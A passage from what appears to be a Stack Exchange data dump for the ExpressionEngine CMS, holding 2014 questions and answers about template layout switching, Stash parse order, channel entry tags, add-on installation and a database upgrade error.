class=&amp;quot;p7mgm-row mgm-col-40-60 col-sep&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent40&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-46&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_a}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent60&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-46 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_b}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;{if:elseif layout_selection == &amp;quot;col-50-50&amp;quot;}&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-row mgm-col-50-50 col-sep&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent50&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-43&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_a}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent50&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-43 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_b}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;{if:elseif layout_selection == &amp;quot;col-60-40&amp;quot;}&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-row mgm-col-60-40 col-sep&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent60&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-47&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_a}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent40&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-47 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_b}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;{if:elseif layout_selection == &amp;quot;col-75-25&amp;quot;}&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-row mgm-col-75-25 col-sep&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent75&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-45&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_a}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-Col p7mgm-percent25&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent p7ehc-45 border-left&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_b}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;{if:elseif layout_selection == &amp;quot;col-default&amp;quot;}&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-row mgm-col-default&amp;quot;&amp;gt;&lt;br&gt;&#xA;  &amp;lt;div class=&amp;quot;p7mgm-ColContent&amp;quot;&amp;gt;&lt;br&gt;&#xA;  {content_a}&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;  &amp;lt;/div&amp;gt;&lt;br&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;{if:else}&lt;br&gt;&#xA;  What the?! where is my Content!!!&lt;br&gt;&#xA;  {/if}&lt;/p&gt;&#xA;&lt;p&gt;Some channel code here&lt;br&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="3801" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-11-25T19:57:54.443" Title="Is there a layout switcher in EE2?" Tags="|matrix|forms|grid|ifelse|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26793" PostTypeId="2" ParentId="26792" CreationDate="2014-11-19T13:54:37.553" Score="2" Body="&lt;p&gt;If I understood what you want, maybe one of these add-ons can help you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow&quot;&gt;Entry Type&lt;/a&gt; - A dropdown fieldtype that shows/hides other fields on the publish page;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/better-pages&quot; rel=&quot;nofollow&quot;&gt;Better Pages&lt;/a&gt; - Better Pages is an ExpressionEngine fieldtype designed to make using the Pages module significantly more end-user friendly;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/entry-layout&quot; rel=&quot;nofollow&quot;&gt;Entry Layout&lt;/a&gt; - Lets you link custom fields to any entry of your website. It will let you save a different publish layout for two different entries even if they come from the same channel. Useful for static pages such as contact, about pages, etc... Plus, its support member groups;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/plates&quot; rel=&quot;nofollow&quot;&gt;Plates&lt;/a&gt; - This fieldtype for ExpressionEngine 2 is a drop in replacement for the native Pages Module or Structure Module ‘Template’ field;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-11-19T13:54:37.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26794" PostTypeId="2" ParentId="26781" CreationDate="2014-11-19T14:52:10.607" Score="0" Body="&lt;p&gt;I managed to solve the issue by allowing the use of keywords and using javascript to enter the checkbox values into a hidden supersearch &quot;keywords&quot; input. While I still don't know why the checkbox inputs are not filtering the results, this approach is giving me the correct output.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3369" LastActivityDate="2014-11-19T14:52:10.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26795" PostTypeId="1" CreationDate="2014-11-19T18:07:50.137" Score="1" ViewCount="47" Body="&lt;p&gt;I'm using wygwam as a page building field and have a webpage built on dreamweaver attached to 2 css which are the main css and overlay tab panel css. I saw Wygwam Template links from p&amp;amp;t which I was thinking of linking 2 css template, is that possible?&lt;/p&gt;&#xA;" OwnerUserId="3801" LastActivityDate="2015-12-17T08:26:58.190" Title="How do I link 2 css files in 1 wygwam entry? is that possible?" Tags="|ee2|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26796" PostTypeId="2" ParentId="26749" CreationDate="2014-11-19T18:46:00.140" Score="1" Body="&lt;p&gt;You will need to add a channel entries tag to get custom fields to show up on in the cart, checkout, &amp;amp; order tags. Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA; {items}&#xA;  {exp:channel:entries limit=&quot;1&quot; entry_id=&quot;{entry_id}&quot;}&#xA;   {store_preview limit=&quot;1&quot;}&#xA;    &amp;lt;img src=&quot;{img}&quot;&amp;gt;&#xA;   {/store_preview}&#xA;  {/exp:channel:entries}&#xA; {/items}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basic things such as the Title, Entry ID, URL Title, and store related tags do not need the channel entries tags to be shown though.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-11-19T18:46:00.140" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26798" PostTypeId="1" AcceptedAnswerId="26829" CreationDate="2014-11-19T23:03:30.477" Score="0" ViewCount="35" Body="&lt;p&gt;I am running ExpressionEngine 2.7.2 with Stash 2.3.6.  I tried updating Stash to 2.5.9 but found one of my templates using Stash now does not obtain the stashed variables.  Here is the salient portion of my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name='mystash' parse_tags='yes' parse_depth='1'}&#xA;{exp:channel:entries channel=&quot;group_photo_tags&quot; entry_id=&quot;2078&quot;}&#xA;{group_photo_entry}&#xA;{stash:my_height}{exp:math formula='([1] * [3]) / [2]' params='{img-width}|{group_photo_entry:file_name}{width}{/group_photo_entry:file_name}|{group_photo_entry:file_name}{height}{/group_photo_entry:file_name}' round='up'}{/stash:my_height}&#xA;{stash:my_scale}{exp:math formula='[1] / [2]' params='{img-width}|{group_photo_entry:file_name}{width}{/group_photo_entry:file_name}' decimals='4'}{/stash:my_scale}&#xA;{stash:my_file}{group_photo_entry:file_name}{/stash:my_file}&#xA;{/group_photo_entry}&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name='mystash' parse_tags='yes' parse_conditionals='yes' parse_depth='1'}&#xA;{exp:channel:entries channel=&quot;group_photo_tags&quot; entry_id=&quot;2078&quot;}&#xA;&#xA;&amp;lt;h3&amp;gt;{title} - {group_photo_entry}{group_photo_entry:title}{/group_photo_entry}&amp;lt;/h3&amp;gt;&#xA;  {group_photo_entry}&#xA;&#xA;&amp;lt;!--[if lt IE 9]&amp;gt; &amp;lt;p&amp;gt;Note: for older browsers, the person's face will not be circled&amp;lt;/p&amp;gt;&amp;lt;div id=&quot;mydiv&quot; style=&quot;width: {img-width}px; height:{my_height}px;&quot;&amp;gt;&amp;lt;img src=&quot;{my_file}&quot; width=&quot;{img-width}&quot; height=&quot;{my_height}&quot; /&amp;gt; &amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if gt IE 8]&amp;gt;&amp;lt;!--&amp;gt; &amp;lt;div id=&quot;mydiv&quot; style=&quot;width: {img-width}px; height:{my_height}px;&quot;&amp;gt; &amp;lt;!--&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;canvas id=&quot;mycanvas&quot; width=&quot;{img-width}&quot; height=&quot;{my_height}&quot;&amp;gt;&#xA;&amp;lt;/canvas&amp;gt;&#xA;&#xA;{/group_photo_entry}&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;var c=document.getElementById(&quot;mycanvas&quot;);&#xA;var ctx=c.getContext(&quot;2d&quot;);&#xA;ctx.clearRect(0, 0, c.width, c.height);&#xA;drawphoto(c, ctx, drawcircle);&#xA;&#xA;function drawphoto(c, ctx, onload){&#xA;var photo = new Image();&#xA;   photo.onload = function(){&#xA;      ctx.drawImage(photo,0,0,{img-width},{my_height});&#xA;      onload(c,ctx);&#xA;   };&#xA;photo.src = &quot;{my_file}&quot;;&#xA;}&#xA;&#xA;function drawcircle(c,ctx){&#xA;ctx.beginPath();&#xA;ctx.arc(&#xA;{exp:math formula='[1] * [2]' params='{my_scale}|{x}'},&#xA;{exp:math formula='[1] * [2]' params='{my_scale}|{y}'},&#xA;{exp:math formula='[1] * [2]' params='{my_scale}|{radius}'}*2&#xA;,0,2*Math.PI);&#xA;ctx.strokeStyle = 'red';&#xA;ctx.lineWidth = 4;&#xA;ctx.stroke();&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A view of the page source after the update shows that the stash variables are now parsed as blank, leaving the formulas to calculate 0 and so rendering no image.  I suspect a parse order issue, but do not see where this is occurring.&lt;/p&gt;&#xA;" OwnerUserId="3802" LastActivityDate="2014-11-21T00:17:33.577" Title="Upgrading Stash from 2.3.6 to 2.5.9 breaks a template" Tags="|stash|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26800" PostTypeId="2" ParentId="3670" CreationDate="2014-11-20T07:42:54.307" Score="0" Body="&lt;p&gt;This could be a documented EE bug which causes the home page template to be rendered after the 404 content. It can be fixed with a small change to a core file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20471/site-index-template-is-rendered-after-the-404-template&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20471/site-index-template-is-rendered-after-the-404-template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do note that it says this is fixed in the released version but it was present up to 2.9.0&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-20T07:42:54.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26801" PostTypeId="1" CreationDate="2014-11-20T07:57:05.307" Score="0" ViewCount="59" Body="&lt;p&gt;I'm displaying some related entries by means of the {parents} tag pair. Whilst I can get all the field information as I need it doesn't seem possible to display the categories that are assigned to the related entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents}&#xA;    {parents:categories backspace=&quot;2&quot;}{parents:category_name}{/parents:categories}&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and many other combinations - but I only seem able to get it to display the tags themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea for this (which ideally doesn't involve embeds).&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-11-21T16:41:37.223" LastActivityDate="2014-11-21T16:41:37.223" Title="Getting categories assigned to a related entry when using {parents}" Tags="|categories|related-entries|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="26802" PostTypeId="1" AcceptedAnswerId="26804" CreationDate="2014-11-20T10:38:13.090" Score="0" ViewCount="39" Body="&lt;p&gt;Please pardon the basic question, but I'm rather new to ExpressionEngine and hoping to be pointed in the right direction in using the proper tags for creating lists of items separated into sections by headers. The markup for each section would be along the lines of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section id=&quot;coffee-shops&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Coffee Shops&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;logo&quot;&amp;gt;Coffee Shop 1 logo image&amp;lt;/div&amp;gt;&#xA;        &amp;lt;p class=&quot;description&quot;&amp;gt;Coffee shop 1 description text&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My questions for creating the proper EE markup are as follows: (1) With which tag pairs can I achieve this sort of list divided by section? (2) How can I specify the order of the sections? (3) For each bit of information for each item, I'm using a separate block level element with a class, e.g. &lt;code&gt;&amp;lt;div class=&quot;logo&quot;&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;p class=&quot;description&amp;gt;&lt;/code&gt; corresponding to each relevant channel field-- is it possible to &lt;em&gt;not&lt;/em&gt; have one of these blocks appear if the corresponding image/info is not entered for the field? For example, if a logo image is not available, and thus not entered/published for the channel field, that the div with class &lt;code&gt;logo&lt;/code&gt; would be omitted altogether from the entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any guidance here.&lt;/p&gt;&#xA;" OwnerUserId="3777" LastActivityDate="2014-11-20T12:22:41.827" Title="Basic question re creating sectioned lists" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26804" PostTypeId="2" ParentId="26802" CreationDate="2014-11-20T11:28:18.597" Score="0" Body="&lt;p&gt;There are a couple of different questions here and they are quite broad but the following may be of help;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand you correctly, you wish to loop through all the Coffee shops and output some information about each one. Assuming that coffeeshops is a channel and each Coffee Shop is an entry within it. To do this you would use the channel:entries tag pair like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section id=&quot;coffee-shops&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Coffee Shops&amp;lt;/h3&amp;gt;&#xA;    {exp:channel:entries channel=&quot;coffeeshops&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;logo&quot;&amp;gt;{my-image-field}&amp;lt;/div&amp;gt;&#xA;            &amp;lt;p class=&quot;description&quot;&amp;gt;{my-description-field}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because we have set the dynamic parameter to &quot;no&quot; everything within the channel:entries tags will be repeated for each open entry in your channel. Note that we have replaced the actual content with fields representing the fields used in coffeeshop entries. (the image field depends on how you are setting that up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid outputting information for entries that don't have an image you could use a conditional to test if there is anything set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section id=&quot;coffee-shops&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Coffee Shops&amp;lt;/h3&amp;gt;&#xA;&#xA;    {exp:channel:entries channel=&quot;coffeeshops&quot; dynamic=&quot;no&quot;}&#xA;&#xA;            &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;                {if my-image-field}&amp;lt;div class=&quot;logo&quot;&amp;gt;{my-image-field}&amp;lt;/div&amp;gt;{/if}&#xA;                {if my-description-field}&amp;lt;p class=&quot;description&quot;&amp;gt;{my-description-field}&amp;lt;/p&amp;gt;{/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case the HTML inside the conditional will only be output IF there is something in the image field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you mean by &quot;section&quot; and with regards to the ordering of the sections. By default EE will output things in the entry ID order but you can change this to order by other fields if you wish by use of the orderby and sort parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;coffeeshops&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will display the coffeeshops in ascending alphabetical order based on the title field of the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant documentation can be found at &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To delineate the sections using categories:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_group=&quot;1&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;    {embed=&quot;shops&quot; cat=&quot;{category_id}&quot;}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then your shops.html embed file would contain a channel entries loop as shown above but with the addition of a category parameter and the value passed to it from the embed tag;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;shops&quot; category=&quot;{embed:cat}&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which would loop through the shops entries and output everything that was in the relevant category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To delineate the sections using related entries:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming there is a &quot;types&quot; channel which contains the different types of shop, and then in the shops channel a relationship field to assign each shop to a particualr type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would loop through the types channel's entries then for each one use the {parents} tag pair to get the related entries. Note the parents: prefix on the field names.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;types&quot; dynamic=&quot;no&quot;}&#xA;    {parents field=&quot;shop-type&quot;}&#xA;        &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;            {if parents:my-image-field}&amp;lt;div class=&quot;logo&quot;&amp;gt;{parents:my-image-field}&amp;lt;/div&amp;gt;{/if}&#xA;            {if parents:my-description-field}&amp;lt;p class=&quot;description&quot;&amp;gt;{parents:my-description-field}&amp;lt;/p&amp;gt;{/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-11-20T12:22:41.827" LastActivityDate="2014-11-20T12:22:41.827" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26805" PostTypeId="2" ParentId="26795" CreationDate="2014-11-20T11:41:02.643" Score="2" Body="&lt;p&gt;Not sure about Wygwam, but you can always use the @import option in CSS to internally link another CSS file within the other.&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2014-11-20T11:41:02.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26806" PostTypeId="1" CreationDate="2014-11-20T12:44:17.027" Score="0" ViewCount="41" Body="&lt;p&gt;How do I fix this problem?&#xA;I've search online and renamed the entry_type_lang to lang.entry_type.php on my cpanel directory&#xA;but still I get this error&#xA;Unable to load the requested language file: language/english/entry_type_lang.php&#xA;Anybody can help me out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm using EE2 9.2&lt;/p&gt;&#xA;" OwnerUserId="3801" LastActivityDate="2015-05-20T07:13:26.867" Title="Having problem adding new ee field" Tags="|entry-type|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26807" PostTypeId="2" ParentId="26782" CreationDate="2014-11-20T12:46:31.380" Score="0" Body="&lt;p&gt;Unfortunately, as of this writing, this is a known issue (both the PHP error and the keyword_search_category_name=&quot;&quot; parameter not working as expected). We have noted the issue, but we do not have an ETA for a fix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, the latest info about add-on releases are announced on Twitter and are available in the add-on's changelog.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-20T12:46:31.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26808" PostTypeId="2" ParentId="26806" CreationDate="2014-11-20T13:09:36.447" Score="1" Body="&lt;p&gt;I used this add on with 2.9.2 a few days ago and it doesn't have this problem. Which makes me think you have installed it incorrectly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you downloaded it from Github then you should rename the containing folder from rsanchez-entry_type-0a0e58e  to simply &quot;entry_type&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That folder should then be placed inside system/expressionengine/third_party&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-20T13:09:36.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26809" PostTypeId="1" CreationDate="2014-11-20T13:11:30.847" Score="0" ViewCount="170" Body="&lt;p&gt;I’m trying to upgrade an installation of EE 1.6.8 to 2.9.2 and have come unstuck on the “Database too large” error in the upgrade wizard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The following error occurred:&#xA;An unexpected error occurred while performing the update&#xA;&#xA;Your database is too large to perform this part of the upgrade via a web request. Please contact your system administrator and have them run the script located at: &#xA;&#xA;/Work/MYWEBSITE/Site Upgrade 2014/ee-localserver-01/system/expressionengine/cache/installer/update.sh &#xA;&#xA;Then access this page again. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have run the update shell script but it finishes within seconds and outputs this result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Last login: Thu Nov 20 12:48:27 on ttys000&#xA;You have mail.&#xA;/Work/MY-SITE-REDACTED\ MY-SITE-REDACTED/Site\ Upgrade\ 2014/ee-localserver-01/system/expressionengine/cache/installer/update.command ; exit;&#xA;MY-MAC-NAME:~ liam$ /Work/MY-SITE-REDACTED\ MY-SITE-REDACTED/Site\ Upgrade\ 2014/ee-localserver-01/system/expressionengine/cache/installer/update.command ; exit;&#xA;Starting Large Database Conversion&#xA;UTF-8 Conversion (Step 1: Dumping database with current charset)&#xA;/Work/MY-SITE-REDACTED/Site Upgrade 2014/ee-localserver-01/system/expressionengine/cache/installer/update.command: line 10: mysqldump: command not found&#xA;UTF-8 Conversion (Step 2: Importing database with UTF-8 charset)&#xA;/Work/MY-SITE-REDACTED/Site Upgrade 2014/ee-localserver-01/system/expressionengine/cache/installer/update.command: line 17: mysql: command not found&#xA;UTF-8 Conversion (Step 3: Removing database dump)&#xA;DST Conversion (Step 1: Reading queries)&#xA;DST Conversion (Step 2: Writing temporary SQL file)&#xA;DST Conversion (Step 3: Importing temp file, this may take several minutes)&#xA;/Work/MY-SITE-REDACTED/Site Upgrade 2014/ee-localserver-01/system/expressionengine/cache/installer/update.command: line 291: mysql: command not found&#xA;DST Conversion (Step 4: Removing temp file)&#xA;Large Database Conversion Completed: Please return to the browser to finish your upgrade.&#xA;logout&#xA;&#xA;[Process completed] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Going back to the upgrade wizard in the browser just puts me back in to the same error loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be seriously appreciated. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2014-11-20T13:11:30.847" Title="Large Database Error - Upgrading EE 1.x to 2.9.2" Tags="|database|upgrade|database-error|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="26810" PostTypeId="1" AcceptedAnswerId="31555" CreationDate="2014-11-20T14:00:57.067" Score="0" ViewCount="209" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://devot-ee.com/add-ons/mx-mobile-device-detect&quot; rel=&quot;nofollow&quot;&gt;MX Mobile Detect&lt;/a&gt; by Max Lazar but it doesn't seem to have been updated for a while. Specifically, the Developer Log is showing the following error;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deprecated function set_cookie() called in /third_party/mobile_detect/pi.mobile_detect.php on line 238.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deprecated since 2.8. Use EE_Input::set_cookie() instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just wondering how I should modify this line?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;set_cookie( 'mx_mobile_device', $this-&amp;gt;cache['mx_mobile_device'], $this-&amp;gt;cookie_expire );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2015-05-20T06:50:24.270" Title="Deprecated function set_cookie() in MX Mobile Detect add-on" Tags="|mobile|mx-mobile-detect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
